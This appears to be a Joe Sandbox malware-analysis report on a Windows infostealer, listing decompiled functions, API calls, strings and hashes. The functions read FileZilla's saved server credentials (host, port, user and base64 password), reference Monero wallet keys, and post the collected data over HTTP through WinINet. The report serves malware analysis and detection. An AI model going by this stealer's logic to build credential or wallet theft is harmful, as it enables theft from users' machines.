Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 4b7e436e875029fdf9fcb4eb92cacdc07752f386957b615c37f58e87556aeb0a
Instruction ID: 4715575fabba1346e48a086101b90e8b20fccb43c226932cfdf3a0dd868b75ca
Opcode Fuzzy Hash: 4b7e436e875029fdf9fcb4eb92cacdc07752f386957b615c37f58e87556aeb0a
Instruction Fuzzy Hash: 773232B6C24318EBC755EBA0DC89DEA737DBB44700F044688F24962090EE75EB89DF56

Function 00700250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 00708DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00708E0B

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Part of subcall function 006F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006F99EC
Part of subcall function 006F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006F9A11
Part of subcall function 006F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006F9A31
Part of subcall function 006F99C0: ReadFile.KERNEL32(000000FF,?,00000000,006F148F,00000000), ref: 006F9A5A
Part of subcall function 006F99C0: LocalFree.KERNEL32(006F148F), ref: 006F9A90
Part of subcall function 006F99C0: CloseHandle.KERNEL32(000000FF), ref: 006F9A9A

Part of subcall function 00708E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00708E52

GetProcessHeap.KERNEL32(00000000,000F423F,00710DBA,00710DB7,00710DB6,00710DB3), ref: 00700362
RtlAllocateHeap.NTDLL(00000000), ref: 00700369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00700385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00710DB2), ref: 00700393
StrStrA.SHLWAPI(00000000,<Port>), ref: 007003CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00710DB2), ref: 007003DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00700419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00710DB2), ref: 00700427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00700463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00710DB2), ref: 00700475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00710DB2), ref: 00700502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00710DB2), ref: 0070051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00710DB2), ref: 00700532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00710DB2), ref: 0070054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00700562
lstrcat.KERNEL32(?,profile: null), ref: 00700571
lstrcat.KERNEL32(?,url: ), ref: 00700580
lstrcat.KERNEL32(?,00000000), ref: 00700593
lstrcat.KERNEL32(?,00711678), ref: 007005A2
lstrcat.KERNEL32(?,00000000), ref: 007005B5
lstrcat.KERNEL32(?,0071167C), ref: 007005C4
lstrcat.KERNEL32(?,login: ), ref: 007005D3
lstrcat.KERNEL32(?,00000000), ref: 007005E6
lstrcat.KERNEL32(?,00711688), ref: 007005F5
lstrcat.KERNEL32(?,password: ), ref: 00700604
lstrcat.KERNEL32(?,00000000), ref: 00700617
lstrcat.KERNEL32(?,00711698), ref: 00700626
lstrcat.KERNEL32(?,0071169C), ref: 00700635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00710DB2), ref: 0070068E

Strings

<Pass encoding="base64">, xrefs: 0070045A
<Port>, xrefs: 007003C6
password: , xrefs: 007005FB
<User>, xrefs: 00700410
profile: null, xrefs: 00700568
<Host>, xrefs: 0070037C
login: , xrefs: 007005CA
url: , xrefs: 00700577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 007002A4
browser: FileZilla, xrefs: 00700559

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 45628180761de0b6c93e005ee401c2bace7d7eec8e2cc0e85a19b64e93d25d62
Instruction ID: 9559c4d8deee775a80bd7a2c29fbbe31cc49ccc145a183cf09f092447cf15f73
Opcode Fuzzy Hash: 45628180761de0b6c93e005ee401c2bace7d7eec8e2cc0e85a19b64e93d25d62
Instruction Fuzzy Hash: 8CD124B1910208EBDB04EBF4DD9AEEE73B8AF54300F548618F142A60D1DF79AA45DB61

Function 006F5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Part of subcall function 006F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006F4839
Part of subcall function 006F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006F4849

lstrlen.KERNEL32(00000000), ref: 006F5193

Part of subcall function 00708EA0: CryptBinaryToStringA.CRYPT32(00000000,006F5184,40000001,00000000,00000000,?,006F5184), ref: 00708EC0

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006F5207
StrCmpCA.SHLWAPI(?,0123E8E8), ref: 006F5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006F5340
HttpOpenRequestA.WININET(00000000,0123E838,?,0123E3C8,00000000,00000000,00400100,00000000), ref: 006F53A4

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0123E788,00000000,?,0123A8D0,00000000,?,007119DC,00000000,?,007051CF), ref: 006F5737
lstrlen.KERNEL32(00000000), ref: 006F574B
GetProcessHeap.KERNEL32(00000000,?), ref: 006F575C
RtlAllocateHeap.NTDLL(00000000), ref: 006F5763
lstrlen.KERNEL32(00000000), ref: 006F5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006F57A9
lstrlen.KERNEL32(00000000), ref: 006F57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006F57E1
lstrlen.KERNEL32(00000000,?,?), ref: 006F580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 006F5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006F584D
InternetCloseHandle.WININET(00000000), ref: 006F58B1
InternetCloseHandle.WININET(00000000), ref: 006F58BE
InternetCloseHandle.WININET(00000000), ref: 006F58C8

Strings

--, xrefs: 006F5280
------, xrefs: 006F53B7
", xrefs: 006F5482
------, xrefs: 006F54F9
", xrefs: 006F55C4
------, xrefs: 006F5297
", xrefs: 006F5706
------, xrefs: 006F563B

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 263116a3ecdbc6c338e8640b98adbfc01d6102aa19750f5f65b9abb5d6de79e6
Instruction ID: 81a6bde0cf00cb6bac5743f6d5d7c4e3b03c9bc282e4e79d043da0b1294b95a0
Opcode Fuzzy Hash: 263116a3ecdbc6c338e8640b98adbfc01d6102aa19750f5f65b9abb5d6de79e6
Instruction Fuzzy Hash: A032E271920218FADB15EBA4DC99FEE73B8BF54700F408269B106A60D1DF787A49CF52

Function 006FA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0070AA70: StrCmpCA.SHLWAPI(01239298,006FA7A7,?,006FA7A7,01239298), ref: 0070AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 006FAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 006FAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 006FABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006FA8B0

Part of subcall function 0070A820: lstrlen.KERNEL32(006F4F05,?,?,006F4F05,00710DDE), ref: 0070A82B
Part of subcall function 0070A820: lstrcpy.KERNEL32(00710DDE,00000000), ref: 0070A885

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

lstrcat.KERNEL32(?,00000000), ref: 006FACEB
lstrcat.KERNEL32(?,00711320), ref: 006FACFA
lstrcat.KERNEL32(?,00000000), ref: 006FAD0D
lstrcat.KERNEL32(?,00711324), ref: 006FAD1C
lstrcat.KERNEL32(?,00000000), ref: 006FAD2F
lstrcat.KERNEL32(?,00711328), ref: 006FAD3E
lstrcat.KERNEL32(?,00000000), ref: 006FAD51
lstrcat.KERNEL32(?,0071132C), ref: 006FAD60
lstrcat.KERNEL32(?,00000000), ref: 006FAD73
lstrcat.KERNEL32(?,00711330), ref: 006FAD82
lstrcat.KERNEL32(?,00000000), ref: 006FAD95
lstrcat.KERNEL32(?,00711334), ref: 006FADA4
lstrcat.KERNEL32(?,00000000), ref: 006FADB7
lstrlen.KERNEL32(?), ref: 006FAE0D
lstrlen.KERNEL32(?), ref: 006FAE1C

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

DeleteFileA.KERNEL32(00000000), ref: 006FAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 006FABD4

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 59b1c8cabfe9d48cb778f9f7204a44aab6aac61dc123059ba4a721720d404746
Instruction ID: c5fe1714d740bf559a795802a4436c21ef776d07be9f5e332d2c439325b9937e
Opcode Fuzzy Hash: 59b1c8cabfe9d48cb778f9f7204a44aab6aac61dc123059ba4a721720d404746
Instruction Fuzzy Hash: 681215B1910208EBDB05EBA0DD5AEEE73B9BF14301F508268F507A60D1DF396E45DB62

Function 006F5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Part of subcall function 006F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006F4839
Part of subcall function 006F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006F4849

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006F59F8
StrCmpCA.SHLWAPI(?,0123E8E8), ref: 006F5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006F5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0123E748,00000000,?,0123A8D0,00000000,?,00711A1C), ref: 006F5E71
lstrlen.KERNEL32(00000000), ref: 006F5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 006F5E93
RtlAllocateHeap.NTDLL(00000000), ref: 006F5E9A
lstrlen.KERNEL32(00000000), ref: 006F5EAF
lstrlen.KERNEL32(00000000), ref: 006F5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006F5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 006F5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 006F5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 006F5F4C
InternetCloseHandle.WININET(00000000), ref: 006F5FB0
InternetCloseHandle.WININET(00000000), ref: 006F5FBD
HttpOpenRequestA.WININET(00000000,0123E838,?,0123E3C8,00000000,00000000,00400100,00000000), ref: 006F5BF8

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

InternetCloseHandle.WININET(00000000), ref: 006F5FC7

Strings

------, xrefs: 006F5C0B
", xrefs: 006F5CD5
------, xrefs: 006F5D4C
", xrefs: 006F5E16
------, xrefs: 006F5A96

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 707aed2bff8abda2767daa4986de5182667236c242264d407e6ec4a060f188f5
Instruction ID: 6ae008a0c980f592d00c2f44467e5c0bf7c4202c68aa9f52321538b4fa19ba40
Opcode Fuzzy Hash: 707aed2bff8abda2767daa4986de5182667236c242264d407e6ec4a060f188f5
Instruction Fuzzy Hash: 3412C171920218FADB15EBA0DC99FEE73B8BF14700F5042A9B106A60D1DF746E49CF55

Function 006FCEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Part of subcall function 00708B60: GetSystemTime.KERNEL32(00710E1A,0123A900,007105AE,?,?,006F13F9,?,0000001A,00710E1A,00000000,?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 00708B86

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006FCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 006FD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 006FD0CE
lstrcat.KERNEL32(?,00000000), ref: 006FD208
lstrcat.KERNEL32(?,00711478), ref: 006FD217
lstrcat.KERNEL32(?,00000000), ref: 006FD22A
lstrcat.KERNEL32(?,0071147C), ref: 006FD239
lstrcat.KERNEL32(?,00000000), ref: 006FD24C
lstrcat.KERNEL32(?,00711480), ref: 006FD25B
lstrcat.KERNEL32(?,00000000), ref: 006FD26E
lstrcat.KERNEL32(?,00711484), ref: 006FD27D
lstrcat.KERNEL32(?,00000000), ref: 006FD290
lstrcat.KERNEL32(?,00711488), ref: 006FD29F
lstrcat.KERNEL32(?,00000000), ref: 006FD2B2
